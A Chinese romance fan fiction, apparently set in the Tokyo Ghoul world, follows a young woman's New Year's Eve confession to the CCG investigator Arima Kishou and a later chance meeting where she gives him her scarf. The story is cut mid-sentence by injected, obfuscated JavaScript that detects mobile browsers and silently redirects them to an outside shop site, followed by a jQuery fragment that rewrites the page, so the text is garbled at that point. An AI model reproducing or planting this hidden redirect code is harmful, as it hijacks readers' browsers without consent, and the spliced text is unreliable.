新年临近时，我发觉自己的目光停留在有马贵将身上的时间，过于漫长了。
我喜欢他。
念头浮上来的时候，早晨的水汽还没有完全散去，镜面上蒙着一层薄雾，我的脸在里面像一个过滤过的模糊影子。从自我怀疑到坦然接受的转变，在扣好最后一颗纽扣前便已完成。这认知来得寂静无声，如同深夜里忽然亮起的灯，照亮了房间里早已存在、却始终未曾正视的轮廓。
它并不令我惊讶——当我将一个人小心地迎入自己的世界，当我把那些柔软明亮的词汇一遍遍解释给他听时，一些东西便已悄然滋长。我每天都在浇水，每天都在松土，但我看不见它。我以为它不会发芽了，然后某一天清晨，我推开窗，发现它已经长成了一棵参天大树。
但我依然为它的存在而感到了一阵短暂的冲击，我在图书馆对着同一行字久久出神，在归家的电车上望着窗外流泻的霓虹光影恍惚。这情感滋生得又是如此自然，宛如融雪后溪流注定奔向洼地。我清楚它的尽头或许是断崖，可流水从不会因预见险境便停止前行。
我决定在新年夜告白。
大概是残存的少女心作祟，我执意想选在一个隆重的时刻，将这份心意完整地交付于他。无论结果如何，至少我曾诚实地面对过自己的心。
我约他在河畔的观景台见面，那里是看烟花的好位置。去年跨年夜我从电车上远远望见过那个方向升起的烟火，一小团一小团的光在夜空中炸开。信息发出去时，我的手指忍不住的抖，有马贵将的回复在次日凌晨抵达，只有一个字：“好。”
我的心轻轻落回原处，随即又被更高的期待悬起。
新年那天格外寒冷。
我穿上最厚的衣物。羽绒服蓬松得像一只刚出炉的面包，拉链拉到最高，领子竖起来，围巾裹了一层又一层。有马并不是一个守时的人，我们每次约定见面时，他只会在极少的几次准时到达。
CCG的工作没有节假日，尤其是对于他而言。所以我并没有为此抱怨过，我知道我的邀约对于一个拯救世界的英雄来说永远不可能放在首位，所以在长达一个冬季的相处中，我逐渐将等待驯养成了一种习惯。
他总会来的。
六点半，我乘着地铁抵达观景台。
观景台在城市东边的一个小丘上，视野开阔，可以眺望大半个城市的夜景。新年前夜聚集的人已经不少了，大多是一起来的情侣或家庭。我找了个稍僻静的角落，面向燃放烟火的方向，在一条木制长椅上坐下来。
七点整，烟火没有开始，他也没有出现。
八点，有人开始放小型的手持烟花，一小簇一小簇的火花从地面窜起，在空中画出一道短促的弧线，照亮了孩子们咧开的嘴和缺了一颗的门牙。我看了看手机，没有新消息。
九点，腿开始麻了，从臀部开始，沿着大腿后侧一直蔓延到膝盖。我站起身，跺了跺脚，在原地踱了几步。
我并不感到焦急，时间一分一秒流逝，人声鼎沸，期待的惊呼声不时响起。七点半，八点，九点……烟火表演似乎推迟了，而他的身影始终未见。
十点，观景台几乎被填满。喧闹的人声、流动的音乐，小贩的叫卖混成一片温热的背景音。我安静地坐在自己的角落，像喧闹海洋里一块沉默的礁石。
十一点，人群开始骚动，情侣们靠得更紧，有人迫不及待的开始倒计时预热。我握紧口袋里的暖宝宝，它已经不怎么热了。
十一点半，第一簇零星的烟花提前窜上天空。大概是某个等不及的人在私自燃放，它们从城市角落升起，引起一阵“哇”的惊呼，然后是一阵稀稀拉拉的掌声和口哨声。有人举起手机拍照，手机的屏幕在黑暗中亮起一片，像一片被人高举的小星群。
十一点五十九分，倒计时声已经震耳欲聋。
“十、九、八……”
数字如浪涛拍打夜空，烟花从不同的燃放点同时升空的、猛烈的、密集的、像暴雨一样的烟火。光与光重叠着，色与色交织着，将天幕照得恍如白昼。
明明灭灭的光在我脸上流转，周围是沸腾的欢呼、紧密的相拥、热烈的亲吻。人们互相祝福，笑声和欢呼声像潮水般涌来又退去。我依然坐在原地，裹得像一枚厚厚的茧。我望着恢复深蓝的夜空，这已经是新的一天了。
零点十分。烟花渐渐稀疏。心满意足的人群开始散去，醉醺醺的人们相携离开，地上留下空饮料罐和彩纸屑。
零点二十分，最后几朵烟花在天空寂寞地绽开。观景台几乎空了，只剩下零星几个收拾摊位的商贩和远处一对迟迟不愿离开的情侣。
零点三十分，连那对情侣也走了。风大了起来，吹得地上的纸屑打转。远处市政的清扫车缓缓驶来，我依旧坐在长椅上，心里异常平静。我慢慢从包里拿出一本书，就着远处路灯的光慢慢读了起来。
我相信他会来，如果他说了“好”，他就一定会来。
凌晨一点十七分的时候，我听见远处有人在急促地呼唤我的名字。
“白鸟！”
我抬起头。有马贵将从观景台入口的方向出现，他像是奔跑了一整夜，大衣的纽扣敞开着，下摆在身后翻飞，露出里面单薄的黑色衬衫。
他看到我时猛地刹住了脚步，我们隔着十几米的距离对视。他身后的城市灯火通明，却寂静无声。有马显然怔住了，那双总是平静无波的眼睛里，清晰地映出愕然。
“……你还在。”他的声音有些沙哑，难以置信的问我。
很奇怪，我一个人等了他这么久，一个涌入脑海的竟然不是委屈。
“有马君，你有没有受伤？”
他的眼睛闪了一下，像被一颗石子击中的湖面。
“没有。”
他走近几步，停在我面前，低头看我。他的呼吸还没有完全平复，我能看到他胸腔起伏的幅度比平时大，呼吸的频率也比平时快。
“抱歉，任务花费的时间比想象要久。”
“啊，没关系的。”
我冲他弯起眼睛，将鼓囊囊的羽绒服拍得砰砰响，“我穿了很多衣服，肚子和脚底还贴了暖宝宝，所以并没有感觉到寒冷。”
他看着我，目光长久地停留在我裹得像是蚕蛹的厚重装扮。
“你从七点一直等到现在？”他终于问出了声。
“嗯。”我点头，坦然承认。“烟火很漂亮，大家的欢呼声也很有气氛。”
景台上只剩下我们两人，有马沉默地看着我，嘴唇抿成一条直线，目光在我已经结了一层霜的睫毛上停留片刻。他没说话，但那种沉默里有种沉重的、几乎要溢出来的东西。
“外面的温度很低，你不该等这么久。”
“我穿得很暖和。”我再次指了指自己，将包裹全身露出一双眼睛的围巾向下扯了扯，“而且，是我自己决定要等的。”
短暂的静默横亘在我们之间。远处城市依旧灯火通明，隐约还有零星的庆祝声响传来，新年第一小时的空气清冷如冰，吸进肺里有针扎般的刺痛感。
是时候了。
心脏在厚厚的衣物下剧烈地跳动，声音大得几乎要震破耳膜。我深吸了一口凛冽的空气，让它冷却我发烫的脸颊。
“有马君，”我叫他，声音平稳得自己都有些惊讶，“我今晚约你出来，除了看烟火，其实还有一件事想告诉你。”
他凝视着我，那种专注倾听的姿态给了我继续说下去的勇气。
或许是漫长的等待磨掉了所有犹豫，或许是此刻他眼中的那抹复杂的微光让我觉得，有些话再不说可能就永远没有机会了。
我深深吸气，让寒意刺醒我所有的感官，然后，抬起头，直直看进他的眼睛。
“有马君。”
“……嗯。”他像是早已预感到了什么，迟疑地应了一声，而我，终于将那句盘旋已久的话说出了口。
“我喜欢你。”
他的表情没有太大变化，只是瞳孔细微地收缩了一下，整个人像是定住了。他的喉结轻微地滚动，那张总是过分平静的脸上，终于浮现出一种可以称之为震动的神情，仿佛被纯粹而炙热的东西烫到的无措。
“……白鸟，”他终于开口，声音比刚才更加沙哑，“我们不是一个世界的人。”
预料之中的答案，我们之间的鸿沟我一直都清楚，所以我并未感到预想中的疼痛或失落。
“我知道哦。”我轻声说，对他露出一个明亮的微笑，“我知道你的世界在哪里，也知道我的在哪里。有马君，我不需要你立刻回应什么，我只是想告诉你——我喜欢你。就像告诉你今天的云像棉花糖，告诉你热可可是甜的一样，这只是一个事实。”
有马贵将没有再说话。他站在那里，如同冰塑的雕像，唯有眼中细微的波澜泄露着他内心的震荡。寒风卷起他大衣的下摆，也吹动我额前早已凌乱的发丝。
良久，他才极其轻微地点了一下头。
“回去吧。”
—
然而几天后，变化以一种我未曾预料的方式降临——有马开始疏远我。
他依然会回复我的邮件，我发送的日常碎片，那些天空、云朵、窗台麻雀的争吵，依旧能得到他简短的确认。但当我像往常一样，尝试约他去图书馆、去散步，甚至只是见一面喝杯热饮时，回复总是沉默，或是隔了很久之后，一句冷冰冰的“最近任务繁重，不方便见面”。
起初我以为只是巧合，CCG压死人的工作节奏我多少了解。但一周，两周……所有的见面请求都石沉大海，邮件回复的间隔也微妙地拉长，内容越发干瘪，只剩下事务性的确认。我才逐渐明白，这不是忙碌，是明确的回避。
他在我们之间悄然筑起了一道透明的墙。我依然能看见他，能进行最基础的通讯，但那些曾慢慢滋长的靠近，被利落地斩断了。这道墙无声地印证着他告白那夜的话——我们不是一个世界的人。而他的世界在拒绝我之后，决定将入口彻底关闭。
我感到一阵闷痛，但并没有太多愤怒或委屈。我眼前浮现出他当时说“我们不是一个世界”时，眼中那种无措的震动。这个永远用职责应对一切的搜查官，在面对无法用刀剑化解的情感时，选择的方式竟是如此笨拙地退缩。
他从未学过如何妥善处理拒绝之后的余波，不知道除了彻底划清界限外，还能如何安置一个对他怀有恋慕之心又被他推开的普通人。于是，他用了最熟悉的方式：划定防线，保持距离。像个从未学过游泳的人，在潮水涌来时，只能僵硬地退到干燥的岸上。
——有马贵将是个胆小鬼。
我心底有个声音轻轻说。在情感方面，他脆弱得不堪一击。
但我无法苛责他，因为这份胆小并非出于傲慢或轻蔑，而是源于一片荒芜。他分明连常人的喜怒哀乐都未曾被允许好好体会过，又如何能懂得处理这样复杂的纠葛？
我依旧按时给他发送邮件，内容比以往更加轻快，绝口不提见面的请求，也不流露任何失望，就像不曾察觉到那道墙的存在。
转机发生在一个乍暖还寒的午后，我习惯性地去了学校附近的咖啡馆，坐在靠窗的老位置读完一本书。离开时，大约下午三点，阳光斜照，风依然料峭。
推开玻璃门，冷风扑面而来，我下意识地低头拢紧棉袄。就在抬眼的瞬间，我看见了马路对面那个熟悉的身影。
有马贵将独自一人，穿着永远不变的大衣，他正从一家便利店出来，手里拎着一个透明的塑料袋，里面依稀可见简单的饭团和瓶装水。他站在街边，微微侧着头望着车流，侧脸在冷淡的日光下显得清晰而疲惫。
他似乎没有立刻离开的打算，人群从他身边走过，便利店的电动门在他身后不停地开合。他就在那里，独自一人，在这个工作日的下午站在街边，不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17580499|205098||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
知道要去哪里。
身体先于思考做出了反应。我穿过马路，向他奔去。
他似乎沉浸在放空的思绪里，直到我走到他面前才蓦然察觉。他转过头，看到我面无表情的脸时整个人明显僵了一下，眼中飞速掠过猝不及防以及慌乱的躲避意图。但他没有立刻走开，手握紧了那个寒酸的塑料袋，薄唇抿成一条线。
我停在他面前，仰头看他。寒风卷起我的发丝和他的衣角。我们之间隔着一道无形的沟壑，是他亲手划下的，此刻被这意外相遇骤然凝固。
千言万语在喉头滚动。我想问他为什么躲着我，想告诉他这样回避毫无意义，想戳穿他“胆小鬼”的实质……但最终，所有这些话语，在触及他苍白脸色和眼底疲惫的瞬间，都化为了无声的叹息。
我怎么能对他说重话呢？他只是一个连如何与人正常维系情感连接都懵懂无知的人。
于是，我什么也没问。低下头解下了自己颈间那条厚厚的、还带着体温的羊毛围巾。
在他略显错愕的目光中，我上前一步，将暖灰色的围巾轻轻绕在了他裸露的脖颈上。我的指尖不可避免地触碰到他颈侧的皮肤，一片冰凉。
“有马君，你穿得太单薄了。”我低声说，手下不停，仔细地将围巾打了个结实又不会太紧的结。
他完全僵住了，像被施了定身咒任由我随意动作。他看着我在他胸前整理围巾末端的手指，长长的睫毛覆下来，掩住了眼中所有翻腾的情绪。唯有喉结极其轻微地滑动了一下。
围巾松松地贴着他的下颌，他看起来似乎暖和了一点，又似乎因为这突如其来的暖意而更加无所适从。
就在这时，他眼角的余光似乎瞥见了什么，身体骤然紧绷，刚才那一瞬间的凝滞被警觉取代。他甚至没来得及看我一眼，猛地握住我的手——
我猝不及防，被他不由分说地拽向一旁，塞进了便利店侧面一个大型绿色垃圾分类桶后的狭小空间里。后背撞上冰凉的墙壁，眼前是他骤然逼近的胸膛和深色大衣的布料。
“别出声。” 他压低的声音就在我头顶响起，短促而紧绷。
我惊魂未定，从他肩膀与墙壁之间的缝隙偷偷向外望去。
一个穿着CCG制服、发蜡抹的油光水滑的男人从街角快步走来，目光如鹰隼般扫视着四周，嘴里似乎还在对着通讯器说着什么，身后跟着两名同样神情肃穆的搜查官。
他们径直走过我们藏身的垃圾桶，并没有注意到这隐蔽的角落，严厉的训话声随风飘来几句碎片。
“啧，有马那小子又跑到哪去了，他最近怎么老魂不守舍的……”
声音随着他们的脚步远去，很快消失在街道的另一头。
直到确认他们真的离开，有马贵将紧绷的身体才稍稍松懈。他后退一步，面对我。脸上的警觉尚未完全褪去，但看向我时，眼神里多了些复杂的、难以解读的东西。
他的目光落在我脸上，又快速扫过我被他刚才情急之下攥得发皱的衣服肩部，最后，停在了他自己颈间那条格格不入的暖灰色围巾上。
寒风再次卷过空荡荡的街角，他张了张嘴，似乎想解释刚才的粗鲁举动，或是为连日来的回避说些什么。但最终，他只是沉默地看着我，那双总是过分冷静的眼睛里翻涌着比之前任何一次都要汹涌的、无声的浪潮。
我看着他，刚才的惊吓已然平复。有马贵将确实在躲我，正如我此前所想他其实并不擅长，不会真正冷酷地当面斩断一切。
“他们是在找你吗？”我轻声问，打破了沉默。
他下颌线似乎绷紧了一瞬，轻轻点了下头。“……嗯。”
“那现在安全了吗？”我继续问，目光扫过空荡的街角。
“……暂时。”他又吐出两个字，视线从我脸上移开，落向远处，侧脸依旧没什么表情，紧绷的肩线略微松缓了些。
我没有立刻离开这个隐蔽的角落，反而稍微放松了身体，靠在冰凉的墙壁上，目光落在他手中简陋的塑料袋上。
“有马君还没吃午饭吗？”
他手指微动，将袋子往身侧收了收，没有回答。
“只吃这个，营养不够哦。”我语气平常，学着他的口吻一板一眼的说道，“而且站在风口吃东西，对胃不好。”
他沉默着，长长的睫毛垂下，在苍白的皮肤上投下淡淡的阴影。那是一种无声的、顽固的防御姿态，却又因为颈间那条围巾，显出几分难以言说的别扭。
我忽然很轻的笑了一声。“你知道吗？你其实很少真的、当面拒绝我。”
他倏然抬眼看向我，黑眸里有什么东西闪了一下。
“邮件可以石沉大海，约定可以借口推脱，但当我站在你面前，像现在这样跟你说话，为你系上围巾……你好像就不知道该怎么办了。”
他的喉结上下滚动，嘴唇微动，似乎想反驳，却始终没有发出声音，挣扎的东西在固守的壁垒后悄然松动。
“放心啦，我不会逼你。”我放缓了语气，耐心又笃定，“但我也不会因为你的躲避就离开。我说过我喜欢你，这是我的事。而你可以继续做你觉得该做的事，完成你的任务，守好你的世界。只是，当我不小心‘遇见’你的时候——”
我轻松一笑，戳了戳他颈间的围巾上，意有所指。
“——就像现在，你恐怕得习惯一下。”
说完，我不等他反应，从藏身处走了出来。寒风再次扑面，我羽绒服的领子被风吹得竖起来，我用手把它按下去。然后站直身体，回头看他。“快回去吧，找个暖和的地方把东西吃了。围巾……下次见面再还我吧。”
有马贵将站在原地，颈上缠着不属于他的围巾，看着我蹦跳从他面前坦然走过，步入光亮处。他没有叫住我，也没有立刻离开。但我能感觉到，他的目光一直落在我背上，沉甸甸的，直到我拐过街角，消失在他的视线之外。